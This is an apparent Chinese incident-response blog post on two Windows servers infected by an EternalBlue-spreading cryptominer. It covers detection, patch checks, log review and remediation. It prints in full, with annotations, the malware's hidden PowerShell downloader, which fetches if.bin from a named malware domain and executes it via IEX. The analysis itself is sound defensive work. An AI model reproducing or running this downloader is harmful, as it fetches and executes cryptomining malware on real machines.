PowerShell运行的是什么脚本

电子说

1.3w人已加入

描述

案例一

在公司这几天收到 CSO 发来不少火绒告警讯息,通过查看信息发现是攻击 445 端口,这一看很可能是永恒之蓝呀。

脚本

通过对这台机器端口扫描结果发现对方也开了 445。

 

135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1688/tcp  open  nsjtp-data
3389/tcp  open  ms-wbt-server
5200/tcp  open  targus-getdata
49152/tcp open  unknown
49153/tcp open  unknown
49155/tcp open  unknown
49197/tcp open  unknown
49350/tcp open  unknown
49438/tcp open  unknown
57084/tcp open  unknown
65529/tcp open  unknown
65530/tcp open  unknown
65533/tcp open  unknown

 

问负责人要了密码登录进去,随手看了下任务管理器,资源占用还挺高,任务栏程序窗口也没有,超奇怪的唉。

脚本

那我想怎么能查得到这个 PowerShell 运行的是什么脚本呀,通过 google 找到一条语句,可查询 powershell.exe 命令行参数。

 

wmic process where caption="powershell.exe" get caption,commandline /value

 

得到异常参数。

 

Caption=powershell.exe
CommandLine=powershell  -nop -w hidden -ep bypass -c "$ifp=$env:tmp+'if.bin';if(test-path $ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''}}if(!$con){$con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=005632:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"

 

一搜其中 down.ackng.com 域名得知是挖矿病毒。

脚本

手动格式化并查了一堆资料后写下注释。

 

powershell-nop -w hidden -ep bypass 
-c "    $ifp=$env:tmp+'if.bin'; # 获取当前用户tmp目录下if.bin文件信息
        if(test-path $ifp){ # 用test-path判断if.bin文件是否存在            $con=[System.IO.File]::ReadAllBytes($ifp); # 将if.bin文件作为字节读入内存,不过这里是放入变量
            [System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')}; # 计算已经加载到内存中if.bin文件的md5校验和,将内容转换为十六进制存入变量s
            if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''} # 看校验和是否一至,不是就将$con清空(看看是不是自家挖矿文件)。
        }
        if(!$con){ # 如果$con没被篡改(或不存在)继续往下走            $con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=005632:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');
            [System.IO.File]::WriteAllBytes($ifp,$con)
            # 创建一个对象,使用这个对象下载,将下载的内容存入$con变量,随后将$con的内容写入$ifp路径。
        }
        IEX(-join[char[]]$con) # IEX=Invoke-Expression,用来执行$con恶意内容,搞不懂为啥要转换数组再join连接-join[char[]]
"

 

根据脚本 $env:tmp 查看目录中发现 if.bin 和 m6.bin。

脚本

从秦萧公众号一篇应急响应文章得知判断方法,要想断定病毒或木马文件可以查看详细信息是否为空,正常文件都会带有信息。这 tips 在整理这篇总结时才发现,遂记录于此。

netstat -ano 查看网络连接和Wireshark抓包都没异常连接,火绒也没正常启用(显示驱动版本不匹配)。

查询系统补丁,服务器系统是 2012R2, MS17-010 的 kb4012213 和 kb4012216 补丁都没打,永恒之蓝实锤了。

 

systeminfo | findstr /I "kb4012213"
systeminfo | findstr /I "kb4012216"

 

脚本

按基操查继续看任务计划、安全日志、系统日志、服务这几个方面。

任务计划发现命令方式都是随机字母,执行参数和前面混淆过的代码差不多。

脚本

脚本

日志和服务忘记录了,不过一般会有大量登录失败的痕迹,我也见过直接把日志清空的情况....

脚本执行思路

分析 if.bin 文件,得知脚本会扫描整个内网 B 段和 C 段,采用 MS17-010 入侵和 3389 爆破等手段进入机器,采用无文件方式运行(甚至 360 开着都无法检测出这个进程出现问题),并使用任务计划等手段在服务器上持久化。

修复策略

删除异常任务计划

删除后门文件

结束PowerShell进程

开启Windows防火墙,并在入站规则禁止 445。

下载AD并全盘查杀

打补丁

案例二

又收到一条阿里云告警信息。

脚本

进程信息

脚本

脚本

脚本

网络连接

大量连接远程主机445端口,很有可能是被当作肉鸡去攻击别人机器。

脚本
脚本

补丁信息

未打 MS17-010 补丁。

 

systeminfo | find "4012215"
systeminfo | find "4012212"
主机名:           xx-xx
OS 名称:          Microsoft Windows Server 2008 R2 Standard 
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     Windows 用户
注册的组织:       
产品 ID:          00477-001-0000421-84376
初始安装日期:     2013/6/27, 1743
系统启动时间:     2019/11/15, 2250
系统制造商:       Alibaba Cloud
系统型号:         Alibaba Cloud ECS
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz
BIOS 版本:        SeaBIOS 3288b3c, 2014/4/1
Windows 目录:     C:windows
系统目录:         C:windowssystem32
启动设备:         DeviceHarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     8,191 MB
可用的物理内存:   4,079 MB
虚拟内存: 最大值: 16,381 MB
虚拟内存: 可用:   7,580 MB
虚拟内存: 使用中: 8,801 MB
页面文件位置:     D:pagefile.sys
域:               WORKGROUP
登录服务器:       \xx-xx
修补程序:         安装了 185 个修补程序。
                  [01]: KB981391
                  [02]: KB981392
                  [03]: KB977236
                  [04]: KB981111
                  [05]: KB977238
                  [06]: KB2849697
                  [07]: KB2849696
                  [08]: KB2841134
                  [09]: KB2841134
                  [10]: KB977239
                  [11]: KB2670838
                  [12]: KB2592687
                  [13]: KB981390
                  [14]: KB2386667
                  [15]: KB2425227
                  [16]: KB2506014
                  [17]: KB2506212
                  [18]: KB2506928
                  [19]: KB2509553
                  [20]: KB2511455
                  [21]: KB2515325
                  [22]: KB2529073
                  [23]: KB2533552
                  [24]: KB2536275
                  [25]: KB2536276
                  [26]: KB2541014
                  [27]: KB2544893
                  [28]: KB2545698
                  [29]: KB2547666
                  [30]: KB2552343
                  [31]: KB2560656
                  [32]: KB2563227
                  [33]: KB2564958
                  [34]: KB2570947
                  [35]: KB2574819
                  [36]: KB2584146
                  [37]: KB2585542
                  [38]: KB2603229
                  [39]: KB2604115
                  [40]: KB2607047
                  [41]: KB2608658
                  [42]: KB2618451
                  [43]: KB2620704
                  [44]: KB2621440
                  [45]: KB2631813
                  [46]: KB2636573
                  [47]: KB2640148
                  [48]: KB2643719
                  [49]: KB2644615
                  [50]: KB2645640
                  [51]: KB2647753
                  [52]: KB2653956
                  [53]: KB2654428
                  [54]: KB2655992
                  [55]: KB2656356
                  [56]: KB2658846
                  [57]: KB2659262
                  [58]: KB2660075
                  [59]: KB2667402
                  [60]: KB2676562
                  [61]: KB2685811
                  [62]: KB2685813
                  [63]: KB2685939
                  [64]: KB2690533
                  [65]: KB2691442
                  [66]: KB2698365
                  [67]: KB2699779
                  [68]: KB2705219
                  [69]: KB2706045
                  [70]: KB2709630
                  [71]: KB2709981
                  [72]: KB2712808
                  [73]: KB2718704
                  [74]: KB2719857
                  [75]: KB2726535
                  [76]: KB2729094
                  [77]: KB2729452
                  [78]: KB2732059
                  [79]: KB2742599
                  [80]: KB2743555
                  [81]: KB2749655
                  [82]: KB2750841
                  [83]: KB2753842
                  [84]: KB2757638
                  [85]: KB2758857
                  [86]: KB2761217
                  [87]: KB2763523
                  [88]: KB2765809
                  [89]: KB2770660
                  [90]: KB2779562
                  [91]: KB2785220
                  [92]: KB2786081
                  [93]: KB2786400
                  [94]: KB2789645
                  [95]: KB2790113
                  [96]: KB2791765
                  [97]: KB2798162
                  [98]: KB2800095
                  [99]: KB2804579
                  [100]: KB2807986
                  [101]: KB2808679
                  [102]: KB2813170
                  [103]: KB2813347
                  [104]: KB2813430
                  [105]: KB2820197
                  [106]: KB2820331
                  [107]: KB2829361
                  [108]: KB2830290
                  [109]: KB2834140
                  [110]: KB2835361
                  [111]: KB2836502
                  [112]: KB2836943
                  [113]: KB2838727
                  [114]: KB2839894
                  [115]: KB2840149
                  [116]: KB2843630
                  [117]: KB2845690
                  [118]: KB2847311
                  [119]: KB2852386
                  [120]: KB2853952
                  [121]: KB2862152
                  [122]: KB2862330
                  [123]: KB2862335
                  [124]: KB2862966
                  [125]: KB2862973
                  [126]: KB2864058
                  [127]: KB2864202
                  [128]: KB2868038
                  [129]: KB2868116
                  [130]: KB2868626
                  [131]: KB2871997
                  [132]: KB2872339
                  [133]: KB2882822
                  [134]: KB2884256
                  [135]: KB2887069
                  [136]: KB2888049
                  [137]: KB2891804
                  [138]: KB2892074
                  [139]: KB2893294
                  [140]: KB2893519
                  [141]: KB2908783
                  [142]: KB2912390
                  [143]: KB2913152
                  [144]: KB2918614
                  [145]: KB2919469
                  [146]: KB2922229
                  [147]: KB2926765
                  [148]: KB2928562
                  [149]: KB2929733
                  [150]: KB2929755
                  [151]: KB2939576
                  [152]: KB2957189
                  [153]: KB2957503
                  [154]: KB2957509
                  [155]: KB2961072
                  [156]: KB2961851
                  [157]: KB2966583
                  [158]: KB2970228
                  [159]: KB2973201
                  [160]: KB2973351
                  [161]: KB2976897
                  [162]: KB2977292
                  [163]: KB2977728
                  [164]: KB2978092
                  [165]: KB2978120
                  [166]: KB2978668
                  [167]: KB2980245
                  [168]: KB2984972
                  [169]: KB2984976
                  [170]: KB2985461
                  [171]: KB2991963
                  [172]: KB2992611
                  [173]: KB2993651
                  [174]: KB2993958
                  [175]: KB2998527
                  [176]: KB2999226
                  [177]: KB3002885
                  [178]: KB3003057
                  [179]: KB3003743
                  [180]: KB3005607
                  [181]: KB3006226
                  [182]: KB3008627
                  [183]: KB3010788
                  [184]: KB976902
                  [185]: KB982018
网卡:             安装了 3 个 NIC。
                  [01]: Microsoft Loopback Adapter
                      连接名:      loopback
                      启用 DHCP:   是
                      DHCP 服务器: 255.255.255.255
                      IP 地址
                        [01]: 169.254.114.140
                        [02]: fe80:78b9728c
                  [02]: Microsoft Loopback Adapter
                      连接名:      Npcap Loopback Adapter
                      启用 DHCP:   是
                      DHCP 服务器: 255.255.255.255
                      IP 地址
                        [01]: 169.254.219.140
                        [02]: fe80:a78edb8c
                  [03]: Red Hat VirtIO Ethernet Adapter
                      连接名:      本地连接 3
                      启用 DHCP:   否
                      IP 地址
                        [01]: 192.168.2.18
                        [02]: fe80:ef0f6468

 

日志信息

根据恶意程序创建时间来筛查,安全日志 11 月 22 日前均被删除。

脚本

通过查询服务创建时间和释放时间吻合。

脚本

处理

通过火绒扫描删除恶意程序

防火墙入站规则禁止 445 连接本机。

PS:为什么文件没有被锁.....也许阿里云盾拦截操作了吧。

  
      审核编辑:彭静
打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分